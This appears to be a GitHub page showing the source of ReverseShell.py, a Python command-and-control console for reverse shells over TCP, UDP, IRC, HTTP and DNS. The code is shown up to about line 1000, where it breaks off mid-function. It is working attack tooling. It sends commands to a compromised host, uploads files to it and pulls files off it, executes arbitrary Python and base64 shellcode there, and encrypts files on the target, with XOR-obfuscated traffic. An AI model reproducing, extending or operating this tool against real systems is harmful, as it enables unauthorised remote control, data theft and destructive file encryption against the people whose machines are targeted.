-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathReverseShell.py
More file actions
1703 lines (1491 loc) · 51.2 KB
/
ReverseShell.py
File metadata and controls
1703 lines (1491 loc) · 51.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
###################
# This package implements an advanced reverse shell console.
# Copyright (C) 2023 Maurice Lambert
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
###################
"""
This package implements an advanced reverse shell
console (supports: TCP, UDP, IRC, HTTP and DNS).
"""
__version__ = "0.1.2"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
__maintainer__ = "Maurice Lambert"
__maintainer_email__ = "mauricelambert434@gmail.com"
__description__ = """
This package implements an advanced reverse shell
console (supports: TCP, UDP, IRC, HTTP and DNS).
"""
license = "GPL-3.0 License"
__url__ = "https://github.com/mauricelambert/ReverseShell"
copyright = """
ReverseShell Copyright (C) 2023 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
"""
__license__ = license
__copyright__ = copyright
__all__ = [
"ReverseShell",
"IrcReverseShell",
"DnsReverseShell",
"HttpReverseShell",
"ReverseShellUdp",
"ReverseShellTcp",
"ReverseShellSocketTcp",
"main",
]
print(copyright)
from cmd import Cmd
from socket import socket
from sys import exit, stderr
from functools import partial
from re import compile as regex
from contextlib import suppress
from urllib.parse import urlparse
from random import randint, choices
from collections.abc import Callable
from json import JSONDecodeError, loads
from platform import system as platform
from string import ascii_letters, digits
from os.path import split, splitext, exists
from os import urandom, name, system as shell
from argparse import ArgumentParser, Namespace
from typing import TypeVar, List, Dict, Tuple, Union
from bz2 import compress as bz2, decompress as unbz2
from gzip import compress as gzip, decompress as ungzip
from lzma import compress as lzma, decompress as unlzma
from zlib import compress as zlib, decompress as unzlib
from ssl import SSLContext, PROTOCOL_TLS_SERVER, SSLWantReadError
from socketserver import BaseRequestHandler, UDPServer, TCPServer
from shlex import split as shellsplit, join as shelljoin, quote as shellquote
from base64 import (
b85decode,
b85encode,
b64encode,
b64decode,
b32encode,
b32decode,
b16encode,
b16decode,
)
from PythonToolsKit.Encodings import decode_data
from PythonToolsKit.PrintF import printf
Json = TypeVar("Json", dict, list, str, int, float, bool)
alphanum: bytes = ascii_letters.encode() + b"_" + digits.encode()
letters: bytes = ascii_letters.encode()
base64regex = regex(
r"^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$"
)
def is_filepath(filename: str, is_windows: bool = None) -> Union[bool, None]:
"""
This function checks filename validity.
>>> is_filepath('abc', True)
True
>>> is_filepath(r'C:\\abc\\test.txt', True)
True
>>> is_filepath('/abc/test.txt', False)
True
>>> is_filepath(r'<abc>|*/\\"', True)
False
>>> print(is_filepath('/abc,/<>', False))
None
>>>
"""
if (
is_windows
and any(x in filename for x in '"<>|*?')
or ":" == filename[0]
or ":" in filename[2:]
):
return False
elif any(
x not in "0123456789abcdefghijklmnopqrstuvwx"
"yzABCDEFGHIJKLMNOPQRSTUVWXYZ-./_\\:"
for x in filename
):
return None
return True
def confirm(message: str) -> bool:
"""
This function asks to continue.
"""
printf(
message + " [Y/N/y/n/yes/no/YES/NO] : ",
state="ASK",
end="",
)
response = input().casefold()
while response not in ("y", "n", "yes", "no"):
printf(
message + " [Y/N/y/n/yes/no/YES/NO] : ",
state="ASK",
end="",
)
response = input().casefold()
if response in ("y", "yes"):
return True
return False
class ReverseShell(Cmd, BaseRequestHandler):
"""
This class implements a reverse shell command line.
key: if is not None decrypt received data and encrypt
data to send with the key.
"""
_set: bool = False
color: bool = True
prompt: str = "~$ "
files: List[str] = []
use_timeout: bool = True
target_system: str = None
executables: List[str] = []
target_is_windows: bool = None
is_windows: bool = name == "nt"
encoding: str = "utf-8" if name != "nt" else "cp437"
decode: Callable = lambda x, y: y
decompress: Callable = decode
encode: Callable = decode
compress: Callable = decode
def __init__(
self,
*args,
key: bytes = None,
encoding: str = None,
):
self.encoding = encoding or self.encoding
self.key = getattr(self, "key", None) or key and self.init_key(key)
Cmd.__init__(self)
BaseRequestHandler.__init__(self, *args)
def recv(self) -> bytes:
"""
This method gets all packets sent.
"""
data = self.sock.recv(65535)
if self.use_timeout:
self.sock.settimeout(0.5)
else:
self.sock.setblocking(False)
while True:
try:
data += self.sock.recv(65535)
except (BlockingIOError, SSLWantReadError, TimeoutError):
break
self.sock.setblocking(True)
return data
def handle(self) -> None:
"""
This methods gets TCP data and send it.
"""
request = self.request
self.default_sender = True
if isinstance(request, tuple):
sock = self.sock = request[1]
data = request[0]
self.sender = lambda x: sock.sendto(x, self.client_address)
else:
sock = self.sock = request
data = self.recv()
self.sender = self.request.sendall
data = self.parse_data(data)
if data:
self.use_data(data)
self.__class__.use_data = self.__class__.default_use_data
self.cmdloop()
def use_data(self, data: str):
"""
This function uses received data and should be overwritten for
custom behaviour in builtins commands.
"""
print(data)
default_use_data = use_data
def defined_context(self, data: Dict[str, Json]) -> None:
"""
This function sets context.
"""
self.__class__.hostname = hostname = data.get(
"hostname", getattr(self, "hostname", self.client_address[0])
)
self.__class__.user = user = data.get(
"user", getattr(self, "user", "user")
)
self.__class__.current_directory = cwd = data.get(
"cwd", getattr(self, "current_directory", "~")
)
self.__class__.target_system = system = data.get(
"system", getattr(self, "target_system", platform())
)
self.__class__.target_is_windows = is_windows = (
system.casefold() == "windows"
)
encoding = data.get("encoding")
compression = data.get("commpression")
if (
encoding
and encoding.startswith("base")
and encoding[-2:].isdigit()
):
globals_ = globals()
decode = globals_["b" + encoding[-2:] + "decode"]
encode = globals_["b" + encoding[-2:] + "encode"]
self.__class__.decode = lambda x, y: decode(y)
self.__class__.encode = lambda x, y: encode(y)
if compression in ("gzip", "lzma", "zlib", "bz2"):
globals_ = globals()
compress = globals_[compression]
decompress = globals_["un" + compression]
self.__class__.compress = lambda x, y: compress(y)
self.__class__.decompress = lambda x, y: decompress(y)
key = self.decompress(self.decode(data.get("key", "").encode()))
if key and self.key:
key_base = self.key
key_length = len(self.key)
del self.key
self.__class__.key = bytes(
[key_base[i % key_length] ^ char for i, char in enumerate(key)]
)
if is_windows:
self.__class__.encoding = "cp437"
else:
self.__class__.encoding = "utf-8"
ReverseShell.prompt = (
(
"\x1b[48;2;50;50;50m"
f"\x1b[38;2;37;161;127m{hostname}\x1b[39m@"
f"\x1b[38;2;47;99;161m{user}\x1b[39m:"
f"\x1b[38;2;246;172;56m{cwd}\x1b[39m$ "
)
if self.color
else f"{hostname}@{user}:{cwd}$ "
)
self.__class__.executables = executables = data.get(
"executables", getattr(self, "executables", self.executables)
)
self.__class__.files = files = data.get(
"files", getattr(self, "files", self.files)
)
ReverseShell._set = True
if not is_windows:
return None
for name, list_ in {
"executables": executables,
"files": files,
}.items():
final_list = []
for element in list_:
element = element.casefold()
final_list.append(element)
final_list.append(splitext(element)[0])
setattr(self.__class__, name, final_list)
def parse_data(self, data: bytes) -> str:
"""
This function parses TCP data.
"""
if self.key:
data = self.encrypt(data, decrypt=True)
if data[0] == 1:
try:
data = loads(data[1:])
except JSONDecodeError:
pass
else:
self.defined_context(data)
self.default("\x06", False)
return b""
if not self._set:
self.prompt = self.client_address[0] + "~$ "
try:
return data.decode(self.encoding)
except UnicodeDecodeError:
return decode_data(data)
def completenames(
self, text: str, line: str, begidx: int, endidx: int
) -> List[str]:
"""
This function returns the default list for completion.
"""
startfilename = shellsplit(line)[-1]
return [
x
for x in self.executables
+ self.files
+ ["./" + f for f in self.files]
if x.startswith(startfilename)
]
completedefault = completenames
def default(self, argument: str, check: bool = True) -> None:
"""
This method sends data to socket shell client.
"""
command_splitted = shellsplit(argument)
if (
check
and command_splitted
and self.executables
and split(command_splitted[0])[1] == command_splitted[0]
and (
(
self.target_is_windows
and command_splitted[0].casefold()
not in (
"quit",
"exit",
"cls",
"dir",
"copy",
"move",
"if",
"echo",
"for",
"type",
# "install_agent",
"python3_exec_file",
"python3_exec_file_compress",
*self.executables,
*self.files,
)
)
or (
not self.target_is_windows
and command_splitted[0]
not in (
"quit",
"exit",
"clear",
"if",
"then",
"else",
"elif",
"fi",
"case",
"esac",
"for",
"select",
"while",
"until",
"do",
"done",
"in",
"function",
"time",
"{",
"}",
"!",
"[[",
"]]",
"coproc",
"compgen",
# "install_agent",
"python3_exec_file_compress",
*self.executables,
*self.files,
)
)
)
):
if not confirm(
"Executable not found, are you sure you want send it ?"
):
self.cmdloop()
return None
if self.key:
data = self.encrypt(argument.encode(self.encoding))
else:
data = argument.encode(self.encoding)
self.sender(data)
def postcmd(self, stop: bool, line: str) -> bool:
"""
This function stop the cmdloop for each packet sended.
"""
if line.strip():
return True
else:
return False
if is_windows:
def do_cls(self, argument: str) -> bool:
"""
This method clear console on windows.
"""
shell("cls")
self.cmdloop()
return None
else:
def do_clear(self, argument: str) -> bool:
"""
This method clear console on windows.
"""
shell("clear")
self.cmdloop()
return None
# def do_install_agent(self, arguments: str) -> bool:
# """
# This method executes a python file to install
# an agent on the target.
# """
# from ShellClients import get_commands_install
# self.default(";".join(get_commands_install(split(arguments))))
# return False
def do_cd(self, argument: str) -> bool:
"""
This method quits the reverse shell.
"""
# arguments = shellsplit(argument)
# if len(arguments) > 1:
# command = shelljoin(["cd", argument])
# command_repr = repr(command)
# printf(
# "Invalid command detected for 'cd' command.",
# state="ERROR",
# file=stderr,
# )
# printf("Do you want to send: " + command_repr + " ?", state="ASK")
# response = ""
# while response.casefold() not in ("yes", "y", "n", "no"):
# response = input(
# "[YES/yes/y/Y]: to send the new command ("
# + command_repr
# + "), [NO/no/n/N]: don't send the command: "
# )
# if response in ("yes", "y"):
# self.default(command)
# else:
# self.cmdloop()
# elif len(arguments) < 1:
# printf(
# "Invalid command detected for 'cd' command."
# " First argument is required.",
# state="ERROR",
# file=stderr,
# )
# self.cmdloop()
if not len(argument):
printf(
"Invalid command detected for 'cd' command."
" First argument is required.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: cd raw directory path",
state="INFO",
file=stderr,
)
self.cmdloop()
elif is_filepath(argument, self.target_is_windows) is False:
printf(
"Invalid directory path detected for 'cd' command.",
state="ERROR",
file=stderr,
)
self.cmdloop()
elif is_filepath(argument, self.target_is_windows) is None:
printf(
"Probably invalid directory path detected for 'cd'"
" command. This is not a shell syntax all characters after "
"'cd ' string is the raw directory path.",
state="NOK",
file=stderr,
)
if not confirm(
"Are you sure this is the directory "
"path, do you want to send it ?"
):
self.cmdloop()
else:
self.default("cd " + argument)
else:
self.default("cd " + argument)
return False
def do_upload_file(self, argument: str, compress: bool = False) -> bool:
"""
This method uploads a file on the target.
"""
send = False
arguments = shellsplit(argument)
if len(arguments) != 2:
printf(
"Invalid command detected for 'upload_file' command."
" First and second are required.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: upload_file [source filename] [destination filename]",
state="INFO",
file=stderr,
)
self.cmdloop()
elif (
is_filepath(arguments[1], self.target_is_windows) is False
or is_filepath(arguments[0], self.is_windows) is False
):
printf(
"Invalid filename detected for 'upload_file' command.",
state="ERROR",
file=stderr,
)
self.cmdloop()
elif not exists(arguments[0]):
printf(
"Source file not found for 'upload_file' command.",
state="ERROR",
file=stderr,
)
self.cmdloop()
elif is_filepath(arguments[1], self.target_is_windows) is None:
printf(
"Probably invalid filename detected for "
"'upload_file' command.",
state="NOK",
file=stderr,
)
if not confirm(
"Are you sure this is the filename, do you want to send it ?"
):
self.cmdloop()
else:
send = True
else:
send = True
if not send:
return False
file = open(arguments[0], "rb")
if compress:
data = self.encode(self.compress(file.read()))
else:
data = self.encode(file.read())
file.close()
self.default(
"upload_file"
+ ("_compress " if compress else " ")
+ shellquote(arguments[1])
+ " "
+ data.decode("latin-1")
)
return False
def do_upload_file_compress(self, argument: str) -> bool:
"""
This method uploads a compressed file on the target.
"""
return self.do_upload_file(argument, True)
def use_data_download(self, data: str) -> None:
"""
This method is used for download file commands.
"""
with open(self.download_filename, "wb") as file:
file.write(self.decode(data.encode()))
print("done")
def do_download_file(self, argument: str, compress: bool = False) -> bool:
"""
This method quits the reverse shell.
"""
send = False
if not len(argument):
printf(
"Invalid command detected for 'download_file' command."
" Arguments are required.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: download_file raw filename", state="INFO", file=stderr
)
self.cmdloop()
elif is_filepath(argument, self.target_is_windows) is False:
printf(
"Invalid filename detected for 'download_file' command.",
state="ERROR",
file=stderr,
)
self.cmdloop()
elif is_filepath(argument, self.target_is_windows) is None:
printf(
"Probably invalid filename detected for 'download_file'"
" command. This is not a shell syntax all characters after "
"'download_file ' string is the raw filename.",
state="NOK",
file=stderr,
)
if not confirm(
"Are you sure this is the filename, do you want to send it ?"
):
self.cmdloop()
else:
send = True
else:
send = True
self.__class__.download_filename = argument
self.__class__.use_data = self.__class__.use_data_download
if send and compress:
self.default("download_file_compress " + argument)
elif send:
self.default("download_file " + argument)
return False
def do_download_url(self, argument: str) -> bool:
"""
This method quits the reverse shell.
"""
arguments = shellsplit(argument)
arguments_length = len(arguments)
url = arguments_length and urlparse(arguments[0])
send = False
if arguments_length != 1 and arguments_length != 2:
printf(
"Invalid command detected for 'download_url' command."
" Arguments are required.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: download_url [URL] (optional:filename)",
state="INFO",
file=stderr,
)
self.cmdloop()
elif not url.netloc or not url.scheme:
printf(
"Invalid URL detected for 'download_url' command.",
state="ERROR",
file=stderr,
)
self.cmdloop()
elif (
arguments_length == 2
and is_filepath(arguments[1], self.target_is_windows) is False
):
printf(
"Invalid filename detected for 'download_url' command.",
state="ERROR",
file=stderr,
)
self.cmdloop()
elif (
arguments_length == 2
and is_filepath(arguments[1], self.target_is_windows) is None
):
printf(
"Probably invalid filename detected for 'download_url'"
" command.",
state="NOK",
file=stderr,
)
if not confirm(
"Are you sure this is the filename, do you want to send it ?"
):
self.cmdloop()
else:
send = True
else:
send = True
if send:
self.default(shelljoin(("download_url", *arguments)))
return False
def do_download_file_compress(self, argument: str) -> bool:
"""
This method quits the reverse shell.
"""
return self.do_download_file(argument, True)
def do_python3_exec(self, argument: str, compress: bool = False) -> bool:
"""
This method quits the reverse shell.
"""
if len(argument):
if compress:
self.default(
"python3_exec_compress "
+ self.encode(self.compress(argument.encode())).decode()
)
else:
self.default("python3_exec " + argument)
else:
printf(
"Invalid command detected for 'python3_exec' command."
" Arguments are required.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: python3_exec raw python code",
state="INFO",
file=stderr,
)
self.cmdloop()
return False
def do_python3_exec_file(
self, argument: str, compress: bool = False
) -> bool:
"""
This method quits the reverse shell.
"""
if exists(argument):
if compress:
file = open(argument, "rb")
script = self.encode(self.compress(file.read())).decode(
"latin-1"
)
else:
file = open(argument, "r", encoding="latin-1")
script = file.read()
file.close()
self.default(
"python3_exec" + ("_compress " if compress else " ") + script
)
elif not len(argument):
printf(
"Invalid command detected for 'python3_exec_file' command."
" First argument is required.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: python3_exec_file [python script filename]",
state="INFO",
file=stderr,
)
self.cmdloop()
else:
printf(
"Source file not found for 'python3_exec_file' command. "
"Arguments are a raw filename this is not a shell systax",
state="ERROR",
file=stderr,
)
self.cmdloop()
return False
def do_python3_exec_compress(self, argument: str) -> bool:
"""
This method quits the reverse shell.
"""
return self.do_python3_exec(argument, True)
def do_python3_exec_file_compress(self, argument: str) -> bool:
"""
This method quits the reverse shell.
"""
return self.do_python3_exec_file(argument, True)
def do_shellcode(self, argument: str, compress: bool = False) -> bool:
"""
This method quits the reverse shell.
"""
if not len(argument):
printf(
"Invalid command detected for 'shellcode' command."
" First argument is required.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: shellcode [shellcode base64-encoded]",
state="INFO",
file=stderr,
)
self.cmdloop()
elif base64regex.match(argument) is None:
printf(
"Invalid syntax detected for 'shellcode' command."
" Shellcode (first argument) must be base64-encoded.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: shellcode [shellcode base64-encoded]",
state="INFO",
file=stderr,
)
self.cmdloop()
else:
if compress:
self.default(
"shellcode_compress "
+ self.encode(
self.compress(b64decode(argument.encode()))
).decode()
)
else:
self.default(
"shellcode "
+ self.encode(b64decode(argument.encode())).decode()
)
return False
def do_shellcode_compress(self, argument: str) -> bool:
"""
This method quits the reverse shell.
"""
return self.do_shellcode(argument, True)
def do_encrypt_files(
self, argument: str, onefile: bool = False, decrypt: bool = False
) -> bool:
"""
This method quits the reverse shell.
"""
send = False
arguments = shellsplit(argument)
if len(arguments) < 2:
printf(
"Invalid command detected for 'encrypt_files' command."
" Minimum 2 arguments are required.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: encrypt_files [key] [filename1] "
"[filename2] ... [filenameX]",
state="INFO",
file=stderr,
)
self.cmdloop()
elif onefile and len(arguments) != 2:
printf(
"Invalid command detected for 'encrypt_file' command."
" Only 2 arguments are required.",
state="ERROR",
file=stderr,
)
printf(
"USAGE: encrypt_file [key] [filename]",
state="INFO",
file=stderr,
)
self.cmdloop()
elif (
onefile
and is_filepath(arguments[1], self.target_is_windows) is False
):
printf(
"Invalid filename detected for 'encrypt_file' command.",
state="ERROR",
file=stderr,
)
self.cmdloop()
elif (
onefile
and is_filepath(arguments[1], self.target_is_windows) is None
):
printf(
"Probably invalid filename detected for "
"'encrypt_file' command.",
state="NOK",
file=stderr,
)
if not confirm(
"Are you sure this is the filename, do you want to send it ?"
):
self.cmdloop()
else:
send = True
else:
send = True
if send and onefile:
self.default(
("decrypt" if decrypt else "encrypt") + "_file " + argument
)
elif send: